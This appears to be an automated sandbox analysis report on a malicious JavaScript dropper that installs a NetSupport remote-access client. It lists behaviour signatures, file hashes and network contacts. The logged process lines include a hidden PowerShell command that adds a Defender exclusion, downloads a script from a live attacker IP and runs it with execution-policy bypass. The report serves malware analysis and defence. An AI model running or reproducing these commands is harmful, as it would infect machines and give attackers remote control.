Analysis Overview
SHA256
64339638d9234ab1efe25fe180b3097a6614687c8f83b1cc0c5a1dde570aaf81
Threat Level: Known bad
The file 02303299.js was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
NetSupport
Blocklisted process makes network request
Executes dropped EXE
Checks computer location settings
Loads dropped DLL
Adds Run key to start application
Drops file in System32 directory
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
Modifies registry class
Suspicious behavior: EnumeratesProcesses
Opens file in notepad (likely ransom note)
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2023-05-27 08:56
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2023-05-27 08:56
Reported
2023-05-27 08:59
Platform
win7-20230220-en
Max time kernel
30s
Max time network
34s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process | N/A | C:\Windows\system32\cmd.exe | |
| Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process | N/A | C:\Windows\system32\cmd.exe |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\wscript.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Opens file in notepad (likely ransom note)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\NOTEPAD.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1516 wrote to memory of 1496 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 1516 wrote to memory of 1496 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 1516 wrote to memory of 1496 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 1496 wrote to memory of 1652 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1496 wrote to memory of 1652 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1496 wrote to memory of 1652 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1240 wrote to memory of 1492 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\NOTEPAD.EXE |
| PID 1240 wrote to memory of 1492 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\NOTEPAD.EXE |
| PID 1240 wrote to memory of 1492 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\NOTEPAD.EXE |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\02303299.js
C:\Windows\system32\cmd.exe
cmd /c start /MIN C:\ProgramData\BLD.bat
C:\Windows\system32\cmd.exe
cmd /c start C:\ProgramData\zayavka2.txt
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K C:\ProgramData\BLD.bat
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PowerShell.exe -WindowStyle hidden "Add-MpPreference -ExclusionExtension "Start-Sleep -Seconds 3;"Invoke-WebRequest 'http://188.227.59.169/zayavka/1.yay' -OutFile 'C:\ProgramData\archive.ps1'";
C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\ProgramData\zayavka2.txt
Network
| Country | Destination | Domain | Proto |
| US | 188.227.59.169:80 | 188.227.59.169 | tcp |
Files
C:\ProgramData\BLD.bat
| MD5 | 018d63793042f588a85968475d98decf |
| SHA1 | 2c4f9a0bd490c2b53976adf08805dcc92fac349a |
| SHA256 | afa8d3929a2809a91ffaa775fcc953b293e52b8accce3cd24c843cb0abbd13d0 |
| SHA512 | ee91d2218f6ac4d763858c8be3cc7ee23660de14e8dd6aea2a4a40b45a5aa6c3337ac13a366db52aab796f04058e2ec92ec81dec6c3cb93d4c310f59a6f9f98a |
C:\ProgramData\zayavka2.txt
| MD5 | 6cea5f86700d707b53b8f4a67d1ccf29 |
| SHA1 | 37e53dd35cbf58bd9c3b7ba0bbd7be81fcb9fe54 |
| SHA256 | 6e9ba5a17bb1ee71c64337b4cd794336eaed26e79d5e2eba6c31018bc9103c70 |
| SHA512 | d836c1624995dd93462fa462ec83c5c150189c0e7b2c0c9eeb923c7b7aec40aa91e27f10ac7b5a4dc8e78c2dc8df121c97022e9b8fbdaf0d5c93f59a0e535c29 |
memory/1652-71-0x0000000002520000-0x00000000025A0000-memory.dmp
memory/1652-72-0x000000001B1D0000-0x000000001B4B2000-memory.dmp
memory/1652-73-0x0000000002390000-0x0000000002398000-memory.dmp
memory/1652-75-0x000000000252B000-0x0000000002562000-memory.dmp
memory/1652-74-0x0000000002524000-0x0000000002527000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2023-05-27 08:56
Reported
2023-05-27 08:59
Platform
win10v2004-20230220-en
Max time kernel
143s
Max time network
153s
Command Line
Signatures
NetSupport
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process | N/A | C:\Windows\system32\cmd.exe | |
| Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process | N/A | C:\Windows\system32\cmd.exe |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\wscript.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\cmd.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\VCRuntmeLib_1\client32.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\VCRuntmeLib_1\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\VCRuntmeLib_1\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\VCRuntmeLib_1\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\VCRuntmeLib_1\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\VCRuntmeLib_1\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\VCRuntmeLib_1\client32.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\VCRuntmeLib_1 = "C:\\Users\\Admin\\AppData\\Roaming\\VCRuntmeLib_1\\client32.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings | C:\Windows\system32\cmd.exe | N/A |
Opens file in notepad (likely ransom note)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\NOTEPAD.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\02303299.js
C:\Windows\system32\cmd.exe
cmd /c start /MIN C:\ProgramData\BLD.bat
C:\Windows\system32\cmd.exe
cmd /c start C:\ProgramData\zayavka2.txt
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K C:\ProgramData\BLD.bat
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PowerShell.exe -WindowStyle hidden "Add-MpPreference -ExclusionExtension "Start-Sleep -Seconds 3;"Invoke-WebRequest 'http://188.227.59.169/zayavka/1.yay' -OutFile 'C:\ProgramData\archive.ps1'";
C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\ProgramData\zayavka2.txt
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -nop -w hidden -ep bypass C:\ProgramData\archive.ps1
C:\Users\Admin\AppData\Roaming\VCRuntmeLib_1\client32.exe
"C:\Users\Admin\AppData\Roaming\VCRuntmeLib_1\client32.exe"
Network
| Country | Destination | Domain | Proto |
| US | 188.227.59.169:80 | 188.227.59.169 | tcp |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 169.59.227.188.in-addr.arpa | udp |
| US | 188.227.59.169:80 | 188.227.59.169 | tcp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 250.255.255.239.in-addr.arpa | udp |
| US | 8.8.8.8:53 | golden-scalen.com | udp |
| US | 86.38.202.175:80 | golden-scalen.com | tcp |
| US | 86.38.202.175:443 | golden-scalen.com | tcp |
| US | 8.8.8.8:53 | 175.202.38.86.in-addr.arpa | udp |
| US | 8.8.8.8:53 | xoomep1.com | udp |
| NL | 80.66.88.143:1935 | xoomep1.com | tcp |
| US | 8.8.8.8:53 | geo.netsupportsoftware.com | udp |
| GB | 51.142.119.24:80 | geo.netsupportsoftware.com | tcp |
| US | 8.8.8.8:53 | 154.239.44.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 143.88.66.80.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 24.119.142.51.in-addr.arpa | udp |
| US | 40.125.122.176:443 | tcp | |
| US | 40.125.122.176:443 | tcp | |
| US | 8.8.8.8:53 | 63.13.109.52.in-addr.arpa | udp |
| NL | 87.248.202.1:80 | tcp | |
| US | 40.125.122.176:443 | tcp | |
| NL | 173.223.113.164:443 | tcp | |
| NL | 173.223.113.131:80 | tcp | |
| US | 204.79.197.203:80 | tcp | |
| US | 40.125.122.176:443 | tcp | |
| US | 40.125.122.176:443 | tcp | |
| US | 40.125.122.176:443 | tcp |
Files
C:\ProgramData\BLD.bat
| MD5 | 018d63793042f588a85968475d98decf |
| SHA1 | 2c4f9a0bd490c2b53976adf08805dcc92fac349a |
| SHA256 | afa8d3929a2809a91ffaa775fcc953b293e52b8accce3cd24c843cb0abbd13d0 |
| SHA512 | ee91d2218f6ac4d763858c8be3cc7ee23660de14e8dd6aea2a4a40b45a5aa6c3337ac13a366db52aab796f04058e2ec92ec81dec6c3cb93d4c310f59a6f9f98a |
C:\ProgramData\zayavka2.txt
| MD5 | 6cea5f86700d707b53b8f4a67d1ccf29 |
| SHA1 | 37e53dd35cbf58bd9c3b7ba0bbd7be81fcb9fe54 |
| SHA256 | 6e9ba5a17bb1ee71c64337b4cd794336eaed26e79d5e2eba6c31018bc9103c70 |
| SHA512 | d836c1624995dd93462fa462ec83c5c150189c0e7b2c0c9eeb923c7b7aec40aa91e27f10ac7b5a4dc8e78c2dc8df121c97022e9b8fbdaf0d5c93f59a0e535c29 |
memory/3844-145-0x00000232237A0000-0x00000232237C2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xstt41or.rrw.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/3844-151-0x0000023223260000-0x0000023223270000-memory.dmp
memory/3844-146-0x0000023223260000-0x0000023223270000-memory.dmp
memory/3844-155-0x0000023223260000-0x0000023223270000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 2f57fde6b33e89a63cf0dfdd6e60a351 |
| SHA1 | 445bf1b07223a04f8a159581a3d37d630273010f |
| SHA256 | 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55 |
| SHA512 | 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 02a1a26525c65a359d41483180eaa6f7 |
| SHA1 | c0e2578b92d20e925c1c87016d1a9fccee1ec56f |
| SHA256 | d0ec351493bdbc6cb94990b162bb8be5b0217277cc55ae12aa3c7ea704cdbc6e |
| SHA512 | d3271137241553f8316fcfc94dcf88c2887ee7bb0babddb4c1666fb5ae821a28425400299281422a4ebeb1f4c7369443b839d10f182279504bbba5f2f1cd94c2 |
C:\ProgramData\archive.ps1
| MD5 | 50dc5faa02227c0aefa8b54c8e5b2b0d |
| SHA1 | 27fe39b6b053685d4c781a7fa809840ebaab15d7 |
| SHA256 | aafc02e9f9c6ce1e9ff7aff753e5656d3d26041e06b78a9fd60ca6fe5127e09b |
| SHA512 | 5bb8701fa6b026e99a8f269b89660ee8abba7c88a654f756d455a13e418a29c75e1742278046985bcc599151f0838591ef58ae8f742016153e43c8c5a78da442 |
memory/4976-168-0x0000020DF8C70000-0x0000020DF8C7A000-memory.dmp
memory/4976-169-0x0000020DF8CF0000-0x0000020DF8D00000-memory.dmp
memory/4976-170-0x0000020DF9AB0000-0x0000020DF9AC4000-memory.dmp
memory/4976-171-0x0000020DF9AF0000-0x0000020DF9B02000-memory.dmp
C:\Users\Admin\AppData\Roaming\VCRuntmeLib_1\client32.exe
| MD5 | c4f1b50e3111d29774f7525039ff7086 |
| SHA1 | 57539c95cba0986ec8df0fcdea433e7c71b724c6 |
| SHA256 | 18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d |
| SHA512 | 005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5 |
C:\Users\Admin\AppData\Roaming\VCRuntmeLib_1\client32.exe
| MD5 | c4f1b50e3111d29774f7525039ff7086 |
| SHA1 | 57539c95cba0986ec8df0fcdea433e7c71b724c6 |
| SHA256 | 18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d |
| SHA512 | 005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5 |
C:\Users\Admin\AppData\Roaming\VCRuntmeLib_1\PCICL32.DLL
| MD5 | 00587238d16012152c2e951a087f2cc9 |
| SHA1 | c4e27a43075ce993ff6bb033360af386b2fc58ff |
| SHA256 | 63aa18c32af7144156e7ee2d5ba0fa4f5872a7deb56894f6f96505cbc9afe6f8 |
| SHA512 | 637950a1f78d3f3d02c30a49a16e91cf3dfccc59104041876789bd7fdf9224d187209547766b91404c67319e13d1606da7cec397315495962cbf3e2ccd5f1226 |
C:\Users\Admin\AppData\Roaming\VCRuntmeLib_1\pcicapi.dll
| MD5 | dcde2248d19c778a41aa165866dd52d0 |
| SHA1 | 7ec84be84fe23f0b0093b647538737e1f19ebb03 |
| SHA256 | 9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917 |
| SHA512 | c5d170d420f1aeb9bcd606a282af6e8da04ae45c83d07faaacb73ff2e27f4188b09446ce508620124f6d9b447a40a23620cfb39b79f02b04bb9e513866352166 |
C:\Users\Admin\AppData\Roaming\VCRuntmeLib_1\PCICHEK.DLL
| MD5 | a0b9388c5f18e27266a31f8c5765b263 |
| SHA1 | 906f7e94f841d464d4da144f7c858fa2160e36db |
| SHA256 | 313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a |
| SHA512 | 6051a0b22af135b4433474dc7c6f53fb1c06844d0a30ed596a3c6c80644df511b023e140c4878867fa2578c79695fac2eb303aea87c0ecfc15a4ad264bd0b3cd |
C:\Users\Admin\AppData\Roaming\VCRuntmeLib_1\msvcr100.dll
| MD5 | 0e37fbfa79d349d672456923ec5fbbe3 |
| SHA1 | 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335 |
| SHA256 | 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18 |
| SHA512 | 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630 |
C:\Users\Admin\AppData\Roaming\VCRuntmeLib_1\msvcr100.dll
| MD5 | 0e37fbfa79d349d672456923ec5fbbe3 |
| SHA1 | 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335 |
| SHA256 | 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18 |
| SHA512 | 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630 |
memory/3844-211-0x0000023223260000-0x0000023223270000-memory.dmp
C:\Users\Admin\AppData\Roaming\VCRuntmeLib_1\HTCTL32.DLL
| MD5 | 2d3b207c8a48148296156e5725426c7f |
| SHA1 | ad464eb7cf5c19c8a443ab5b590440b32dbc618f |
| SHA256 | edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796 |
| SHA512 | 55c791705993b83c9b26a8dbd545d7e149c42ee358ecece638128ee271e85b4fdbfd6fbae61d13533bf39ae752144e2cc2c5edcda955f18c37a785084db0860c |
memory/4768-220-0x00000000749C0000-0x00000000749CE000-memory.dmp